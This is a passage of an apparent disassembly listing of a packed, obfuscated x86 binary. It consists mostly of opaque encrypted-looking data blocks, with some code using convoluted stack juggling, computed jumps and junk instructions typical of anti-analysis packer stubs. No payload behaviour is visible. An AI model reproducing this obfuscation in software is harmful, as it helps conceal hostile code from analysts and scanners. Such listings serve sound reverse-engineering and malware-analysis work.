0D1DC148Eh, 0D6A04A71h, 0CEA8420Eh, 8B118027h dd 346DFF68h, 37B59FC1h, 0DA6BB3F1h, 0D1B06D9Dh, 8A23520h dd 64CCAE4Ch, 62840F82h, 10928607h, 73C7DE86h, 4042A222h dd 0F45052B2h, 9ED21E9Ch, 2DBF28CBh, 5ADACB93h, 989F88Ah dd 0C376C562h, 5C464E2Eh, 0E69F1294h, 0C87E19C1h, 768440DAh dd 2DCF6904h, 1AA82C65h, 1B1AA99Fh, 269955F2h, 909h, 0D8552734h dd 13A2D87Ch, 40ED8FA1h, 0B73EBCD4h, 0E984F005h, 37DAB673h dd 150CA845h, 9DB21E97h, 54E652E3h, 0B8E28B2Ah, 6BB7C9C9h dd 53314B28h, 0AD2A04Ah, 394B9BE5h, 5CC54848h, 44DAC830h dd 9D0A25F8h, 9A73960Bh, 7DD937B5h, 0A8549CD8h, 53E460FAh dd 7288429h, 851FA975h, 739A8C0Ch, 0D21E8428h, 739A7333h dd 8A248028h, 5FF62873h, 0B14499A0h, 0DC697BCBh, 2109CE09h dd 0E476E10Ch, 0CC1EE6ADh, 0AE762C2Fh, 0BB668510h, 0CE18CC73h dd 0DAA4B662h, 4DDB535Fh, 0FCD3633Ch, 869h, 38B5C754h dd 7302789Ch, 0A04D2FC1h, 179E1C74h, 49E490A5h, 0D77A56D3h dd 75AC08A5h, 3DD27EF7h, 0F406B243h, 1882EB8Ah, 6BB72969h dd 0F3D1EB28h, 0A537A0B3h, 0B5B2A5ECh, 0EF376D37h, 0F51B4FE3h dd 9B29BB8Bh, 0E09ABE1Ah, 35AA491Ch, 0B316EEA3h, 0CA642873h dd 73B1D7D7h, 445D3928h, 1AC632C0h, 8896858Fh, 0CE60C14Ch dd 0BC5250ACh, 1C309C2Eh, 2C67275Ah, 0FBA92873h, 2F0B9965h dd 4DCFC7F3h, 48CCC5F1h, 4436D8F4h, 1739EAF8h, 0F9B8476h dd 5AFEB047h, 30B29220h, 33F594F8h, 5EC15A1Fh, 0DA9248D6h dd 0FEDAA944h, 728737Ch, 0B4ED7F10h, 28737D50h, 6B2B6640h dd 0A528737Dh, 68C469FFh, 0B76EB6C4h, 28737C23h, 15DF7E9Eh dd 5EFA7B01h, 857CC0BAh, 28737C39h, 0D125C4C8h, 7C4A4A47h dd 0D8CA2873h, 7C53534Eh, 0E7BD2873h, 0F18BAF0Bh, 950A297Ch dd 7C338E03h, 6CF92873h, 5F604E57h, 0F79B574Dh, 9FB31BADh dd 0B78301DDh, 0BAA78A7Bh, 97BB7C50h, 0E4DB25F6h, 0F450007Bh dd 0BCCA1A60h, 11C3C5C5h, 0C7554FB4h, 1B1366Bh, 2CA80000h dd 9BB77F5h, 0A537A0B3h, 0C8A9430Bh, 0CB07AF7Eh, 0FB37C52Bh dd 0B5B2670Ah, 463BD537h, 2873B346h, 4F42D4CEh, 2873B34Fh dd 6B17E3C1h, 1027AF39h, 220E9468h, 0B6F218C4h, 8200DC5Eh dd 0FB4B35DAh, 7EDA5BE9h, 0F48694DCh, 91009A28h, 2873B311h dd 7913A103h, 88A18FECh, 32FEC4F4h, 32507FEh, 0E22AF2Eh dd 0E597A56Fh, 4D44DE48h, 0A12D044Dh, 444443Dh, 0D6CCA12Dh dd 0F1B1E0BEh, 23A12D03h, 9307F381h, 5227FF79h, 77A14CC3h dd 75419D1Fh, 0BC1895E7h, 8600DC9Eh, 0FF4739DEh, 0A7C0DE5h dd 6FF3A34Eh, 4AE024C5h, 0BD198528h, 3943D599h, 0E149DFE5h dd 89552735h, 10AA3D34h, 0A24E2161h, 0A94D092Eh, 297B67D3h dd 1B831A84h, 0ADD412A9h, 33C6F23Eh, 7B91D97Fh, 99F25F9h dd 43D1AB4Dh, 0D1C81CA9h, 0C8ED4E4Dh, 0A287D9D9h, 0DB693B2Eh dd 0E70EC31Fh, 3AC8B246h, 2D7F16A0h, 24AD30DDh, 0F8BC4DA5h dd 182EA1C6h, 0A349EB8Ah, 0AC410DD1h, 0FD0374C8h, 0F082A85Ch dd 3B39D37Dh, 0C6B0F0A1h, 42602EA1h, 0A1C74F4Fh, 4DE3C12Eh dd 0A2353CF1h, 0C7119908h, 5DF92EA1h, 16668BBFh, 0DE26B4CEh dd 22806CC4h, 690B2193h, 66163995h, 6818329Eh, 0C222B0C2h dd 0C61E60F6h, 0DA0EAFD1h, 0E9FB4B35h, 69103C5Bh, 52E39DBFh dd 0DA2A54E6h, 3F7F32CCh, 0D12EA1C7h, 0AB4A67D3h, 0A3EFA234h dd 6D2EA1C6h, 1339A537h, 2B079D61h, 0ADE50AA6h, 9311ED8Fh dd 0B3E36BFDh, 0D0A5F931h, 0D7D7CA41h, 392EA1C6h, 31B3E36Bh dd 289809A3h, 82EA1C7h, 4AAF1B9Ah, 45FD6A0h, 0B5EC7EE9h dd 37B59E72h, 0EC6802A0h, 3C7C354Bh, 0D428739Fh, 26AE38CEh dd 0A7DA6CEEh, 28739EE7h, 32BF7B29h, 370F7186h, 0C256F762h dd 0C85E64B8h, 74A0433Eh, 710C2FCCh, 2387B55h, 38240CE5h dd 0CFEB9A6Ah, 502089BDh, 2EB852C5h, 69ED6FA6h, 566CB0C4h dd 0ABA4EB9Ah, 307227E2h, 284AE0ECh, 2300B781h, 0B78F24h dd 519h, 0C8651724h, 3B2C86Ch, 70FD7F91h, 0A74ECCC4h, 1994E075h dd 27CAA683h, 257CD855h, 8DA20EA7h, 44D642F3h, 0C8D2BB3Ah dd 6BB3D9D9h, 0A3013B28h, 0A537A0B3h dd 0CEAE430Bh, 0C5846C76h, 37B5A862h, 7312F2B0h, 2873A958h dd 0BA67060Ah, 8C19F84Ah, 0AFD167EFh, 0D42E43h, 9FB40000h dd 305CC573h, 0C4EAAAE7h, 782A305Ch, 3AD0B4EAh, 8E67873Fh dd 0CD63FF5Fh, 73F80D20h, 3E0A8D9h, 7230305Ch, 6A142692h dd 9AC25BCBh, 0B0AD9FB1h, 51E6BB77h, 1CB640DAh, 0B88DB581h dd 3160C9FEh, 305C2271h, 582901A3h, 305C2250h, 0B602E2C0h dd 8440DAA4h, 5E183276h, 966EFC86h, 86D9240Ch, 0D660FA71h dd 31862C3Fh, 0EEF58360h, 0CD29BCBEh, 0EA9B57B8h, 305CA1AEh dd 9BBC1886h, 12871DE1h, 305CA092h, 0F8922082h, 0A073336Eh dd 79D305Ch, 27A3576h, 0AD85908Dh, 3C349071h, 0DD34305Ch dd 0DBCB875Fh, 72928559h, 0D0F42FCBh, 0EB01CD29h, 0C32FB589h dd 0F892192Eh, 5C3C0D89h, 0B17A2730h, 11A4A655h, 0F84DE076h dd 112h, 0EC6EA62Eh, 0A0B38604h, 0A5ECA537h, 6D37B5B2h dd 0B2E3EF37h, 1B3C9832h, 0B36C2C65h, 0FEA42873h, 220E9468h dd 0FF6E84DFh, 0DEDED36Dh, 362873B2h, 6F22846Ch, 2873B32Bh dd 0BD8C861Fh, 6FFDA599h, 5C1DF83h, 951584F0h, 0B728736Dh dd 0EAB7DFA1h, 0C89B7796h, 0C45A2Ch, 32B08CEEh, 4A1409Ch dd 0E6287317h, 34742D53h, 0DC287317h, 0E0EC30C6h, 0E7D232B0h dd 924EAC4Dh, 9E37CF6Eh, 0D167E2B2h, 0B417E384h, 8C1A3A4Ch dd 2BAD54E1h, 4BB0DFBAh, 7CB2EFh, 0B3100000h, 0EBA630A7h dd 305CC4ABh, 0EBE73F65h, 65D33DBAh, 0B284A046h, 54DE911Ch dd 727E33C5h, 0D8305C67h, 7AAADE7Ch, 89E24F8h, 2F1FAE34h dd 7379F628h, 0A3FDE149h, 5BD9AEEEh, 0E83B6630h, 0C5E87DB5h dd 7EC654EAh, 5BF02B87h, 400C9630h, 7173D351h, 89B455B9h dd 5228CC69h, 0E1902ABCh, 305BEFA1h, 0EFF93173h, 5BF026B2h dd 0A2346E30h, 2F62103Ah, 305BF06Fh, 856D03A1h, 0A04A8A38h dd 0E5700ED6h, 8799BB8Ch, 71A58DEEh, 8A1499DBh, 0E7532DC2h dd 2EB82FCAh, 0BD9D1D94h, 2D77305Ch, 0CFAEE3C5h, 0C737B5A4h dd 0C0B14BDDh, 2873A4C0h, 0A9D36450h, 2FB94F55h, 73A53272h dd 68C0E228h, 0C22AA34h, 0D8109272h, 73A58D29h, 2ECF7328h dd 19FC13EDh, 20538Ch, 0B3770000h, 0ECA537A0h, 37B5AAEDh dd 7E27FFA5h, 2873AA62h, 8653FA06h, 8C19FB3Eh, 0B3B8h dd 0A04A0A00h, 0AF420ED6h, 0B74571CDh, 0BF5D79C5h, 155130BDh dd 57305CC0h, 0C2C2BFC5h, 52305CBFh, 8133C250h, 0D77F096Bh dd 0BCF03840h, 4FD94EE9h, 0B59F8352h, 17BF4937h, 87077A02h dd 8928739Fh, 7133DF1Bh, 198EA9FCh, 0C703128Fh, 0F1B32FC7h dd 225AFF67h, 383FE88h, 0F72087C6h, 87C5FABAh, 4881A20h dd 2FF785A8h, 0A62B0795h, 1C95E70Ah, 3C4BE612h, 0EA8D2232h dd 0D7000001h, 1FB93444h, 40EC81FBh, 0F721CCAEh, 24901D9Fh dd 52CA6B11h, 2450E5D5h, 76F62F89h, 0C2BA5DFFh, 96B8133h dd 0EAA70364h, 286BB0AAh, 4A72506Ah, 0FC58D5A7h, 31911C5Eh dd 0A537A0B3h, 0B5AAEDECh, 27FFA537h, 73AA627Eh, 53FA0628h dd 19FB3E86h, 0D3B88Ch, 4A0A0000h, 700ED6A0h, 0EB3B41D4h dd 90A511D9h, 0C68E18E4h, 0E4E54DCFh, 305CBF68h, 65086A80h dd 0F6445DF9h, 0AF8B1963h, 0CB93E10Bh, 0FB895527h, 5CC00686h dd 0E1900E30h, 305CBFA1h, 0DA33173h, 66F17C31h, 0F1A03AD4h dd 305CBFB1h, 50504163h, 0C0305CC0h, 0E19016E2h, 37B59ED2h dd 0F8B34260h, 413BDC7Dh, 35097385h, 128F19AFh, 2FC7C95Ch dd 1CB85250h, 25BF8705h, 0DE73DBCDh, 0CF97179Eh, 3F9B5729h dd 0B9D7621Ah, 0C53C4BE2h, 1035609h, 2DCE0000h, 0E276A253h dd 95BB1598h, 0B6EE4AEBh, 0FA1FB934h, 0BC7DF382h, 0B24339DCh dd 0E08D0F06h, 54D9A3B4h, 8D2052F8h, 0C3C3BEE8h, 4D286BAFh dd 0A74A493Fh, 34CE58D5h, 5CC53D7Dh, 65CDD730h, 54D99BB1h dd 0B3EE78EEh, 305CC4F3h, 0FAB871Dh, 7B393EDh, 82D98CF5h dd 5F0DBBDEh, 0DE26A6FFh, 0E4BF36C4h, 804CDE49h, 0C620086Ah dd 4CDF1ECBh, 98327038h, 945C1E3Ch, 9CDE7C58h, 61FB9511h dd 6ADF7030h, 8F02A028h, 286ADF0Fh, 0DF0686FBh, 940E286Ah dd 6A4EAAF8h, 8924B6C0h, 8283437Eh, 8A48CE8h, 0A7969B99h dd 6CE5868h, 83FE88F2h, 0E7A79703h, 375B970Dh, 0BEB85296h dd 5778537h, 1227AF39h, 0FA2A8E6Ah, 4D73A478h, 0A0D278ACh dd 8A07910Dh, 0E7A7970Ah, 6450980Ah, 18392D6h, 1E3C9373h dd 46000000h, 47C5DC78h, 0B70DE5FFh, 66265BF5h, 66305CC5h dd 4F55A9D3h, 0B6C66B47h, 6AC6546Eh, 0D7A14A58h, 0CFA9430Fh dd 0C4B45B77h, 0C7455C78h, 0BEBE537Fh, 0B5C76A66h, 0B7356D69h dd 0B3CD636Fh, 0A9D36753h ; --------------------------------------------------------------------------- push ebp pop esi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax push eax mov eax, 7F109A0h push eax pop esi pop eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax sub esp, 4 mov [esp], esi add dword ptr [esp], 4B011A97h pop dword ptr [eax+8] sub dword ptr [eax+8], 4B011A97h push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] pop esi add esp, 4 jmp loc_58B97E ; --------------------------------------------------------------------------- dw 0F066h dd 0CEF181D7h, 793B4C0Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_60464B loc_6054EC: ; CODE XREF: sub_60464B:loc_60470Fj mov eax, 7F116ACh add eax, ebp jmp eax ; END OF FUNCTION CHUNK FOR sub_60464B ; --------------------------------------------------------------------------- test ch, bl push 6D7C3951h pop ds assume ds:nothing fcomp qword ptr [eax+55181046h] or [ecx+ebp*8+68h], ah mov dh, 21h xchg eax, esp sal byte ptr [edi+34C1B46Ah], 48h jmp loc_605602 ; --------------------------------------------------------------------------- align 4 dd 6370000h, 0CE037C81h, 0C0587C81h, 10057C80h, 10ED7C90h dd 7C90h, 276F2h, 5 dup(0) dd 0ADA00000h, 7C80h, 2Bh dup(0) dd 60000h db 2 dup(0) ; --------------------------------------------------------------------------- loc_605602: ; CODE XREF: sdfs____:00605511j adc [ecx], esi pushf cmc stosd wait dec edx mov ebx, 0B31A3BF9h xchg eax, ecx adc ax, 2432h ; --------------------------------------------------------------------------- db 8Fh dd 6622321Bh, 92A5B75Ch, 60E2B529h, 88B1E67h, 0DD44FB80h dd 6970AE39h, 66883999h, 0E84B5215h, 66223215h, 7E78D1Ah dd 7E2D8F96h, 134435FCh, 239FB11Ch, 6616DB0Fh, 35D82B61h dd 77FCF29Eh, 0EF223211h, 8F00CB90h, 0A815BF12h, 9943D9C2h dd 0E57A69C6h, 8F0B77A8h, 71FC3212h, 77FC6145h, 0EF223211h dd 8F00CB90h, 0DB15BF12h, 9943D9C1h, 67A69C6h, 0E7C7B973h dd 0F3806CEh, 76AD536Fh, 0C8223215h, 0A3F6A8D5h, 0CD79E6FEh dd 0F7E5F9CEh, 0E551BE64h, 629836F9h, 69E86A31h, 66443290h dd 7D8B915h, 71698F96h, 698835E4h, 66444791h, 0E3AFC715h dd 61E1A390h, 669CDA75h, 4D103215h, 0B572E2BBh, 38813FBEh dd 0DEF46C3Bh, 51C60352h, 0E12DF7B4h, 66113215h, 6681DA4Bh dd 8A613215h, 30E40277h, 692BBD52h, 7D6F4AAh, 6CADE2EAh dd 0CE223215h, 37D56BE5h, 0B19735E0h, 6655DB43h, 0A31A3215h dd 0D29F2913h, 9F9AAC72h, 690F3AA1h, 0EB8FE254h, 96808790h dd 0B677CE12h, 0C1C68C75h, 0ED4402C5h, 0E3D753EBh, 6161144Ch dd 342CCA43h, 69BE9AADh, 66113C97h, 6681DB15h, 82C3215h dd 1448890Dh, 99D42A9Dh, 8F8323A0h, 6648DB12h, 0F04D3215h dd 6DC20200h, 340B616h, 0E3C9E224h, 61CEADCEh, 661122FCh dd 5DA3DD15h, 0D8A30F5Bh, 25A63E4Bh, 0E2F09F31h, 658CD93h dd 0B132F494h, 9F4301E6h, 4D6CB79Ch, 0E28735FCh, 66443214h dd 67AE3DE9h, 93113215h, 7A69B7D2h, 664435FCh, 0EC2D3215h dd 6611321Dh, 1432C775h, 70D03AFh, 407BB7D3h, 8F5435FCh dd 66883218h, 59D7CE33h, 9F99AF62h, 0D2FD6576h, 0FE15AC8h dd 624BC67h, 0A1A2FD9Fh, 14A75351h, 0D8EE5274h, 0EC24DC82h dd 7FC87CCh, 0FA4CD74h, 9F8FDB33h, 5CF8B798h, 99DB35FCh dd 0AC9052C5h, 5795FB4h, 6647BC1Ah, 0D12D3215h, 0E31E53DEh dd 66883214h, 5FC1BBEDh, 6925DB20h, 66112B9Fh, 669CDB15h dd 0F6223215h, 7391DE4h, 0F6EB0CCDh, 966620B0h, 3F6CC4FAh dd 0E3E4E999h, 61F8144Ch, 9C035256h, 664439FCh, 0DF7C315h dd 0F9C37C63h, 2470520Ch, 0D1A5A74h, 99D7AE72h, 8F375BA0h dd 6A003D12h, 69443215h, 66223496h, 669A3D15h, 0EB883215h dd 8F7E8E90h, 75A53D12h, 8F113215h, 6688321Bh, 9517DA2h dd 9C797941h, 0ACF34B9Eh, 0B677F9ABh, 6C1BBECh, 9F25C302h dd 4048B7D3h, 6DC35FCh, 0B6CFF39Fh, 0E0B5A74h, 0E51EDC77h dd 66883202h, 664420FCh, 0E58AAC15h, 56656BD5h, 0E3DF00EDh dd 0BDFC82A7h, 9FBE2DD3h, 407887EAh, 0E835FCh, 392BAAh dd 72A9CAEh, 6605DA75h, 2A853215h, 670B3191h, 4F2043FAh dd 551C4681h, 3D31B8A1h, 691ECFF5h, 6622309Fh, 7705215h dd 5C34B798h, 0E72435FCh, 0D3D863E2h, 7DAB914h, 7561E2EAh dd 0D4443215h, 91557B5Eh, 2F9E1E27h, 6B5327F6h, 296F31D5h dd 0E3AB372Ch, 61E02571h, 6681BA1Ah, 0D0243215h, 64528962h dd 670517Eh, 69C6C595h, 6644329Dh, 0E3E45315h, 61F8144Ch dd 6A023D50h, 69443215h, 66223498h, 66963D15h, 0E883215h dd 0BC240AD7h, 66223CFCh, 66E0E915h, 0B406E3D8h, 0E4B9CCCAh dd 65F221Eh, 661ADB75h, 0CBCE3215h, 8D788A2Eh, 0E5F94F8h dd 96905494h, 8FE9418Dh, 6644321Ah, 3CD7C005h, 0F2996C77h dd 0D59A3A50h, 7DAAD34h, 404B87EAh, 0EA1E35FCh, 6688321Dh dd 0E6FECA75h, 76BA2FDh, 5CADB798h, 9E7035FCh, 624E2EAh dd 38C295h, 73AA5AFh, 0E0DBB74h, 9343C302h, 7D4B8F96h dd 691135FCh, 66893890h, 3F125215h, 0A043FA9Eh, 8F376B90h dd 69E87712h, 6644349Ch, 66A43D15h, 0ED113215h, 0ED8753EBh dd 66443212h, 6623BB1Ah, 0EE43215h, 9CA84C93h, 0B0CF52E9h dd 994386A3h, 8F375BA0h, 0ED875212h, 66443213h, 6622B81Ah dd 6EF83215h, 0B8883215h, 8B98EE88h, 77D3454h, 5CADB798h dd 0EDE835FCh, 0B6BB53EBh, 0FB995475h, 6B913D3Ch, 8F883215h dd 6644321Dh, 2955A35Ah, 9A66BC0h, 0A0DBB74h, 8F43C302h dd 66223204h, 700B9C00h, 7F2F8F91h, 13964E0Dh, 800A0F7Ch dd 3F94F47Ch, 2A8FDB33h, 6645B31Ah, 0EDE3215h, 8637E2D6h dd 66883FFCh, 0F8BB2C15h, 0DAC6182Fh, 1B14B953h, 0D3773BD0h dd 61AD147Ch, 0A0F08D75h, 711A0Ah, 9F2F00ABh, 0E3C95374h dd 61CB08A9h, 69C1CDE0h, 66883390h, 0E3CDCE15h, 61D32565h dd 66113EFCh, 61DACE15h, 9335AAF7h, 0A53B2232h, 6710DB4Dh dd 0E83215h, 6FE5E194h, 6622B11Ah, 0A0703215h, 8FAE6B90h dd 6246012h, 6622B31Ah, 7ED3215h, 668835FCh, 6E3AC15h dd 0B9D24C93h, 821C5A74h, 75618E5Fh, 0A4443215h, 52C8B600h dd 0F226AD85h, 0CC9FAB9Fh, 0C8B9003Bh, 99DB3667h, 8F0847A0h dd 0E305CA12h, 61AD08A9h, 509A5475h, 7ECB894h, 0E787E2EAh dd 6644320Ch, 662226FCh, 20860C15h, 381C9979h, 0A1E04E1Fh dd 0F95EA13Eh, 484C4A16h, 0A0DBBF6h, 643C302h, 6622B31Ah dd 0C1A23215h, 3F0DF474h, 3443DB33h, 662FDBE9h, 80E3215h dd 9163CC30h, 0F136C1D3h, 0E25047Fh, 0C05D785Dh, 133DCDE0h dd 8F43DB0Ch, 66223218h, 92B1062Fh, 0F202A30Dh, 6C1772CAh dd 0DAA7BF4Ah, 616DB2Fh, 7049B373h, 9799B225h, 0B6DDCA74h dd 1694BBEDh, 68FC302h, 0E44BF19Eh, 66223216h, 7F8F495h dd 6685BF1Ah, 6EAD3215h, 86223215h, 989C2420h, 0A031CC96h dd 8F626B90h, 60CB6012h, 0DC113215h, 0A0AE00B4h, 0D2AE5AE9h dd 42CF57h, 696608ADh, 66883196h, 0B7F33D15h, 0F97CD74h dd 6916DB33h, 66883397h, 0E3C9CA15h, 61CB08A9h, 661123FCh dd 533E1915h, 5B529719h, 5947A46Ah, 2FB7C3FCh, 997173D1h dd 0E3CDCBC5h, 61CB296Ch, 6616BA1Ah, 0EC873215h, 66443214h dd 0E3E4CBEDh, 61F8144Ch, 6A013D62h, 8F443215h, 66223212h dd 0A1FE552Eh, 0EF8DB99h, 95D39AB6h, 66223BFCh, 60984315h dd 0EFECF5C2h, 0D3BBC0C6h, 61CB24A0h, 0BE9A6375h, 1C33524Dh dd 286D4Fh, 743F09Eh, 5CADB798h, 0E48735FCh, 66443212h dd 6623BC1Ah, 99ED3215h, 870252C5h, 3C255247h, 67A33D74h dd 9A113215h, 6639B79Ch, 0E62435FCh, 0A6A340E4h, 3EDC3F3Fh dd 39305274h, 31F7C7h, 853AF994h, 3F94F474h, 348FDB33h dd 66443DFCh, 337F9B15h, 2592AB4Bh, 325A47C0h, 9A8819h dd 0BB13257Dh, 661EDB9Fh, 3F23215h, 0BE53DBEh, 0C1512D56h dd 0D6227BAAh, 0F3DCDC6h, 6943DB33h, 66223392h, 0E39CC715h dd 616108A9h, 301D6475h, 8F4368E0h, 6611321Bh, 180454A6h dd 7582A5ABh, 0C925F70Eh, 0B6EEA01Bh, 668838FCh, 0C4888B15h dd 813F106Dh, 0EF5A3BCBh, 8F877790h, 6ACA3D12h, 8F223215h dd 66113212h, 42813374h, 0A01447D6h, 8F046B90h, 8E716412h dd 6688321Fh, 2B9E4B46h, 6D1964F7h, 0BE9A3A9Eh, 16E8A4Ah dd 0E25747Ah, 0B23D5F2Ch, 6616DB75h, 9E003215h, 0B7D4B4CFh dd 6ACB52CEh, 0CE113215h, 0C6DF1527h, 0DA83EDE4h, 8E1FF8CEh dd 66113212h, 0DD104E2Bh, 392173FFh, 0D3DD5374h, 61F83904h dd 668EB81Ah, 30243215h, 779614Ah, 0F9CAB798h, 997435F9h dd 6656DBC5h, 368F3215h, 319A9AC3h, 92086B71h, 9FBEF2Dh dd 82CA33CBh, 6754B79Ch, 0DEE835FCh, 0B11C9Eh, 59FBB373h dd 0E3D75396h, 6161144Ch, 1C2CCB52h, 8FA3EE05h, 6611321Fh dd 98FCDDCBh, 0D4B21BB1h dd 0D3DD59D6h, 61F8147Ch, 66883BFCh, 91A07115h, 0A3AF55ECh dd 0E39C5C0Ch, 616108A9h, 6649B71Ah, 6ECB3215h, 0A6113215h dd 6C1883Ch, 8FFE951Dh, 6622321Ch, 2C1E3C17h, 6CB571FEh dd 8F94CD8Ch, 6622321Bh, 9AC94DCAh, 0EB597848h, 729945EAh dd 0E3AB325Bh, 61F83948h, 66883AFCh, 296A4315h, 6FAE5517h dd 3F94F4CCh, 218FDB33h, 62C23DE9h, 6223215h, 0E70E59Fh dd 0EC8787F7h, 664438FCh, 5E004715h, 62871EDEh, 99B7FD16h dd 8F625BA0h, 0E3AFCB12h, 61F808A9h, 668EBE1Ah, 31243215h dd 743524Bh, 60F8E2EAh, 6C883215h, 0C7819740h, 0F6A7BB5Eh dd 616C302h, 0A103F89Fh, 6FC1F574h, 1E25DB08h, 93113215h dd 4F6D8F96h, 694435FCh, 663B0391h, 0E3D7CA15h, 6161144Ch dd 0E7225259h, 37E572C5h, 6706DEDh, 0C3B9E7AFh, 664FDA73h dd 0C65C3215h, 0B07FCC4Bh, 2730943Bh, 71AC73Eh, 0BC3EDB7Dh dd 0D3EECECCh, 6161147Ch, 6645BA1Ah, 0EBDA3215h, 8F2B8E90h dd 0B677CA12h, 1AC1BBE9h, 6925C302h, 66111494h, 6B605215h dd 88443215h, 7E52D11Bh, 85E42708h, 0D2C31D34h, 664FDA4Eh dd 59653215h, 7193630Eh, 0C58D5B78h, 0A0256A8Dh, 8F046B90h dd 717E12h, 0EE9E29Eh, 0BB30ECDBh, 6628B41Ah, 63F83215h dd 0B5883215h, 0F04D3Eh, 404B87EAh, 8F7135FCh, 6688321Ah dd 28457EEDh, 845CDA3Eh, 7AEE9E7Ch, 8FC239F9h, 6644321Ah dd 7ADCAEC5h, 0D18A7DA8h, 0BE1C2F04h, 72E01EEh, 5C9EB798h dd 7135FCh, 0A709E29Eh, 20DDA467h, 93F2CD74h, 7191B79Ch dd 606135E4h, 2443215h, 6658306h, 3F94F473h, 2A8FDB33h dd 664438FCh, 3D210215h, 10C31D67h, 0EBFE932h, 0D1C5B02Ah dd 6628BB1Ah, 63F83215h, 42883215h, 0E29D8C7Dh, 404B87EAh dd 6CF835FCh, 6A883215h, 197924B0h, 8F1D5783h, 0E39CC7E4h dd 616108A9h, 0B6F33D75h, 8FF2CD74h, 6611321Fh, 25752B67h dd 0E5CC31FAh, 0EFDA67F5h, 9706B690h, 6686DB12h, 20F73215h dd 8397C5E5h, 4FA22818h, 4AE000EEh, 401DB7D3h, 8F6E35FCh dd 66113205h, 8988F114h, 0ABADA193h, 58EAA5B5h, 0F03E44FFh dd 49C82A7Dh, 67C13DA6h, 9F223215h, 407887EAh, 0EB7435FCh dd 8F7E8E90h, 6AAB3D12h, 69113215h, 6688349Eh, 66C43D15h dd 99223215h, 6618DBC5h, 5BCF3215h, 2F5D5473h, 0EF157110h dd 9706B690h, 0E34ECB12h, 61AD144Ch, 6FA13D53h, 6113215h dd 0F733ABA3h, 7379B10h, 0B824267Dh, 0D3EECAAFh, 6161147Ch dd 6648B91Ah, 61CB3215h, 0BF113215h, 0CE614695h, 0EBB14231h dd 8F188E90h, 619B3D12h, 69883215h, 66443392h, 0B6DDCE15h dd 48AB5475h, 742B99Dh, 71C8B79Ch, 0A0DA35E4h, 8F376B90h dd 74617512h, 2A443215h, 0ED12CFA1h, 6DE47FAAh, 2C64FFE8h dd 0A9F024DFh, 76585AF3h, 71B3C9h, 0B93ED894h, 0B1FB3D75h dd 662222FCh, 84DC7115h, 0C4EC38C3h, 0C0E6C8F5h, 1D25E3B1h dd 997053A7h, 8FAE5BA0h, 6650DB12h, 0A4313215h, 372EEFADh dd 0A7A19B6Bh, 0C810966Eh, 0EF5C037Eh, 0E39C0A70h, 616108A9h dd 6645B91Ah, 99DE3215h, 67993DC5h, 9A883215h, 665CBB1Ah dd 0D2423215h, 661EDB57h, 5F033215h, 80EDD75Ch, 0AF4AC78Dh dd 94E42802h, 0E30153FDh, 61B52581h, 662239FCh, 0BD8F5C15h dd 0BF070E29h, 0B1D46E6Eh, 407BB7D3h, 9E5635FCh, 0E1069E7Dh dd 0D3BBCEFAh, 61CB147Ch, 6610BA1Ah, 0EB743215h, 8F7E8E90h dd 6ACA5212h, 27113215h, 0BFA339Dh, 89BCD1C3h, 39D63EBBh dd 661135FCh, 46E715h, 0B5FEC964h, 6628DB74h, 3B8D3215h dd 5765F3Fh, 0BA003227h, 0E72DE2EAh, 6611320Ch, 668826FCh dd 0B6019E15h, 0C6342C34h, 32FE8C93h, 642E9ADEh, 234EA38Dh dd 0FEA7BBFBh, 6916C302h, 6688209Bh, 6EAD5215h, 5F223215h dd 5891F194h, 0E6801347h, 0A02535CBh, 8F046B90h, 0E41E7512h dd 6688320Eh, 6651B61Ah, 76CB3215h, 40113215h, 0BDD8DA68h dd 0CE02292Bh, 0C0BA534Eh, 0ED589E7h, 0B21295C7h, 664437FCh dd 4B90E215h, 0D3EE24A8h, 6161147Ch, 664420FCh, 0D3A83A15h dd 0B31317EFh, 1E025F2Bh, 6DB438EFh, 0EBB0F33Bh, 8F2B8E90h dd 0E85212h, 0B3D1AEh, 7D3BF994h, 7C4B874h, 6683DB75h dd 0EA703215h, 3B2D25B1h, 2365FEFEh, 6A0C3DBDh, 8F443215h dd 66223212h, 84833AD0h, 7A6D0A0h, 0EFB1E2EAh, 9735AE90h dd 3DA95212h, 0ED8ED9DFh, 0E38253C6h, 61CB144Ch, 6279C752h dd 9F32F32Ch, 402D87EAh, 0EBDA35FCh, 8F2B8E90h, 0B677C712h dd 664423FCh, 8FFF5815h, 3A53B7B2h, 0A5C912FCh, 0B689ABD5h dd 0E3AB9B6Ch, 61E025B5h, 6335B1E9h, 6643DB31h, 667FB71Ah dd 713215h, 9922DC94h, 6644BE1Ah, 0A0433215h, 8F376B90h dd 0EA877512h, 66443204h, 6629BB1Ah, 60F83215h, 95883215h dd 0CA39B052h, 4B455AA6h, 0E01ED267h, 66883214h, 0FF1CDE9h dd 9325DB33h, 5CADB798h, 997135FCh, 664EDBC5h, 48AC3215h dd 0EB39885Bh, 2C5D4445h, 71E0B79Ch, 0A0DA35E4h, 8F376B90h dd 0E7D7512h, 0E86D81A4h, 662237FCh, 0A6911715h, 0D37730A9h dd 61AD147Ch, 662226FCh, 67AF5215h, 4B204ADDh, 89EBDC7Eh dd 56C89A6Ah, 648C2ECBh, 0DA0DBF88h, 9E43DB2Fh, 0EFD7E2EAh dd 97069A90h, 69E85212h, 6644329Fh, 19F0B315h, 72F41E6h dd 66073D46h, 3F443215h, 3FA7F474h, 2516DB33h, 668FB71Ah dd 30243215h, 98E1B24Dh, 2CB65A74h, 0EB87F263h, 6644321Dh dd 66A53D75h, 7113215h, 40E187EAh, 0ED2435FCh, 387263C2h dd 0E39C534Eh, 616108A9h, 39136175h, 0D598544Bh, 0B6EE5332h dd 61615275h, 48443215h, 0ECAAF65Fh, 3D439A20h, 77D5274h dd 0CAC1BB74h, 9F25C302h, 4048B7D3h, 6C435FCh, 30BD8D1Ah dd 0E436CE0h, 9D775EFEh, 0D33DCDE9h, 8F43DB03h, 66223204h dd 63883AB7h, 68F7206h, 37573633h, 0EFE8CDFFh, 0DA94BFDCh dd 8F8FDB2Fh, 6644321Eh, 2F0579Eh, 77BC26FFh, 99D0538Eh dd 96CF52C5h, 662CDB74h, 615E3215h, 0FDF28A0Ch, 11740B25h dd 14B15331h, 